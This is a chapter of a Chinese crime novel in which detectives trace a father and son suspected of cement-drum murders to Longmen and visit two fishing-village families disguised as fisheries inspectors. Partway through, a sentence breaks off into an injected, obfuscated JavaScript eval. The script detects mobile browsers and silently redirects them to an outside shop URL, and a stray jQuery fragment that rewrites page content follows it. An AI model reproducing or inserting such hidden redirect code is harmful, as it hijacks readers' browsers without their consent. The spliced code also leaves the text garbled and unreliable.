据大刘饭店的老板回忆,他一共和老周喝过三次酒,席间会讨论一些国际上发生的大事。

    每次都是老板说,老周只是听,并不发表看法,基本没说过自家的事儿。

    不过老板提到一件小事儿,有一次喝酒时,老板发现老周左肩处贴着膏药,老板因为经常切菜,手指关节疼,便顺嘴询问老周从哪儿买的膏药,好用不好用。

    老周说是他自己做的,还说是他们老家的特产。

    老板接着问能不能给他做几贴,他又改口说刚才是吹牛,他根本不会做膏药,还给老板推荐了白鹭苑附近的一处药房。

    自己做膏药,还是特产?众人陷入沉思。

    榕城那边,在油桐山附近走访的刑警提供了一条线索,有邻居认出老周父子。

    刑警辗转找到当年老周父子租房的房东,根据房东回忆,有一年过年时他来收房租,发现老周在家里吃饭喝酒。

    房东认出那是高粱酒,顺嘴问老周在哪儿买的,老周说是老家的朋友寄过来的。

    尚禹沉吟片刻,猛地一拍桌子,“我知道了,他是龙门的,那边产高粱酒,且有一味中药,叫龙门一条根,据说做膏药的效果非常好。”

    沙洲市局的局长当即激动地起身,“我这就联系龙门那边,老尚,你们继续讨论,这案子马上就破了,大家加油!”

    尚禹冲局长点点头,吩咐榕城走访的同事,“问问房东,老周一家搬走后下一位住户是谁,有没有在房屋内发现线索。”

    接着将胜哥如何从黄娟处问到线索的事儿说了。

    榕城刑警们当即表示马上照做。

    另外,沙洲、榕城两地警方都调查了名叫周大龙的人,奈何周氏父子是暂住人口,而非常住人口,登记信息不全,数据库中并没有符合条件的人。

    而且周大龙和周进很可能是假名,已经弃用,目前很大概率已经使用了其他名字。

    通报过走访信息后,众人开始讨论去哪里找周氏父子。

    华国这么大,这两人是否还在闵省活动?有没有可能已经不在闵省,去其他地方了?

    有刑警道,“自14年发现薛雨菲的尸体后,闵省再没发现有水泥和尸体的油桶,周氏父子很可能已经离开闵省,去外地作案了。”

    尚禹吧嗒吧嗒抽烟,卓恒也点起一根烟抽起来,半晌二人同时摇摇头。

    卓恒笑道,“看来尚老师和我想到一块儿去了。

    两人去外省的可能性不大,第一,周大龙是残疾人,行动不方便。

    第二,据邻居介绍,老周说话口音很重,在闵省可能不明显,但去外地,很容易就能听出来他是外地人,如此就会引人注意。

    父子俩做的是杀人的勾当,最需要的就是不引人注意。

    结合这两点,两人去外地的可能性不大。

    当然不排除这个可能,但咱们现在先当两人还在闵省来查,实在找不到人再寻求部里帮助,发布全国通缉令。”

    众刑警点点头,尚禹补充道,“既然查到周氏父子很可能是龙门人,这样,卓组长,您带人跑龙门一趟,调查一下父子二人的过往,两人回老家了也说不定。”

    如果在龙门将二人抓获,破案后功劳可是大大的,尚禹大方,卓恒也不会贪功,除了特案组的六人外,另带了三位专案组的同事。

    都是特警出身的练家子,在抓捕时肯定能派上用场。

    临近会议结束时,沙洲市局局长返回会议室,笑着宣布,龙门市局承诺会全力协助,已经在寻找十几年前发生车祸的人家。

    并且将“周进”的画像传真了过去,相信很快就会有结果。

    大家放心地去,破案后一定开庆功宴。

    翌日早八点,特案组众人兼三位特警同事出发前往龙门。

    两个小时后,船舶停靠在龙门码头,介绍过案情并吃过特色海鱼宴后,一行人来到当地市局。

    刑警队马队长介绍道,“自从收到沙洲市局的协查请求后,我们对龙门市内的人口进行了排查。

    十五前到十一年前发生车祸,且母亲死亡,儿子瘫痪,父亲受轻伤的人家一家有八家。

    结合沙洲市局提供的嫌疑人画像,排除了其中三家。

    另外五家中,一家一直呆在龙门,没有外出,另一家儿子七年前死于严重褥疮引发的败血症。

    还有三家,都曾外出求医,其中两家回到了龙门,另有一家仍在外地,亲友不知道其去向。”

    说着大屏幕上出现那两家曾经外出,如今又回到龙门的父子照片。

    马队长介绍道,“第一家姓宋,父亲宋强,男,今年50岁,出生日期1967年3月25日,1985年在龙门酒厂做学徒工,1988年和妻子许燕结婚,次年生下儿子宋太亮。

    许燕,女,出生日期1967年10月9日,1986年入职龙门轴承厂任女工,1988年和宋强结婚,1992年下岗,之后做起了吃食生意。

    2006年6月中旬,儿子宋太亮高考结束,一家人为了庆祝出去旅游,途中发生车祸,许燕当场死亡,宋太亮双腿残疾,宋强右腿骨折。

    为了给儿子治病,2006年年底,宋强辞掉酒厂的工作,外出求医,今年年初回到龙门,目前居住在银苑村。”

    接着他指着第二家道,“这家姓陈,父亲陈岭,今年52岁,出生日期1965年5月22日,1984年入职龙门化肥厂做工人,次年年初和妻子钱雪结婚,1987年生下儿子陈龙。1992年,陈岭辞职做生意,主要开五金店。

    钱雪,女,出生日期1965年9月24日,1984年入职龙门玻璃厂任女工,1985年和陈岭结婚,1992年下岗,之后和丈夫一起经营五金店。

    2005年3月,为了给儿子陈龙庆祝生日,一家人外出旅游,途中发生车祸,钱雪当场死亡,陈龙双腿残疾,陈岭右腿骨折。

    为了给儿子治病,2005年6月,陈岭卖掉五金店,带着儿子外出求医,今年年初回到龙门,目前居住在五原渔村。”

    照片中,不论是宋强还是陈岭,都和黎厌枫给出的“周进”画像有些像,都是厚嘴唇、高眉骨,特征明显。

    卓恒问,“另外一家未归的呢?”

    马队长翻过一页,介绍了那家情况,和宋强、陈岭差不多,都是意外出车祸。

    “这家男主人叫龚正,儿子叫龚严,目前的居住地还未知,不过老家在龙门龚家村,村里大部分都是亲戚,几位要是想去我们可以带路。”

    卓恒点点头,沉思片刻后他道,“这样,先分成两组,对宋强和陈岭两家进行摸排。

    马队,龙门有没有什么年度检查,咱们上门也好有个借口。”

    马队长想也没想就说,“这好办,宋强和陈岭两家住的地方都是渔村,就以检查渔船为由

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798770|205862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上门好了。

    每年渔政那边都要上门检查并宣讲政策的,我跟渔政那边打个招呼,派人带你们去。

    正好咱们也穿穿他们的制服,兄弟们眼馋很久了。”

    刑警队的队员们嘿嘿笑,龙门当地渔政的制服为白色上衣黑色裤子,不少队员觉得比警察制服好看。

    这次有机会变装,一个个笑得特别开心。

    听说是某部特别派精英支持的大案,渔政部门的领导没多考虑就答应了。

    于是当天下午两点半,一行人换上渔政制服,卓恒带队前往宋强家,樊朔带队前往陈岭家,分别进行摸排。

    先说宋强家这边,卓恒、黎厌枫、何潮、乔兰和一名特警,由渔政同事带领,针对银苑村的渔船进行检查,并宣讲渔政政策。

    敲响宋强家的门后,过了近两分钟才有人开门,正是坐在轮椅上的宋太亮。

    宋太亮看起来精神还不错,衣服穿得整整齐齐,显然在他们来之前,正在换衣服准备外出。

    渔政同事表明来意,大略讲了讲渔政新政后,问道,“亮子这是准备外出?”

    “对,我现在在网上做UP主,主要拍渔村的生活,打渔啦,赶海啦,处理海鲜,渔村的晚霞之类的,目前经营得还不错。”

    宋太亮笑笑,眼睛明亮,完全不见阴霾。

    不是他,几乎所有刑警心里都有一个声音。

    当然,见过宋太亮后,还要见见宋强,综合起来判断才行。

    再说陈岭那边,樊朔、虞晴、孟阳和两名特警同志,由渔政部门的同事带领,来到陈岭家。

    只是敲了半天的门都没人开门。

    邻居大婶称,陈家儿子疯了,被陈岭绑在床上,没办法开门,而陈岭外出做工还没回来。

    樊朔问,“疯了?怎么疯的,为什么疯了?”

    “还能为什么,双腿残疾,受不了打击呗。”

    邻居大婶叹气,“之前陈家的日子多让人羡慕啊,在镇上开五金店,是村里最有钱的,儿子陈龙也争气,学习特别好,老师都说能考上名校呢。

    谁知道因为太有钱了,学人家去旅行,出了车祸,不仅小雪死了,好好的孩子双腿被截肢,多可怜呐!

    你们说说,本来能上名校的高材生,一下子成了残废,又没了母亲,搁谁谁不疯?”

    樊朔继续问,“您见过回来的陈龙吗?”

    邻居又点头又摆手的,“就回来的时候见过一次,其他时候都没见过。

    你们听听,这又叫又砸的,怎么能见。疯子杀人可不偿命,死了也是白死,我还想多活几年呢。”

    虞晴问,“大婶,陈岭父子是什么时候回来的?”

    “去年年末。”许是觉得几名工作人员对她说的家常话感兴趣十分神奇,邻居大婶搬来板凳,大有大讲特讲的架势。

    “我记得回来那天,陈岭是骑了辆突突车(三蹦子),车上都是大箱子,岭子解释说箱子里都是行李。

    陈龙双手被绑,嘴里还塞了毛巾,大家吓一跳,不知道这是怎么了。

    陈岭就说儿子受不了打击,疯掉了,会咬人还会打人,之前在外面就伤过人,赔了不少钱。

    他也是没办法,才将人绑着带回来。

    还跟村长保证,说会绑好陈龙,不让他跑出来伤人,村长这才同意的。

    不然村里有个伤人的疯子,谁心里不膈应......”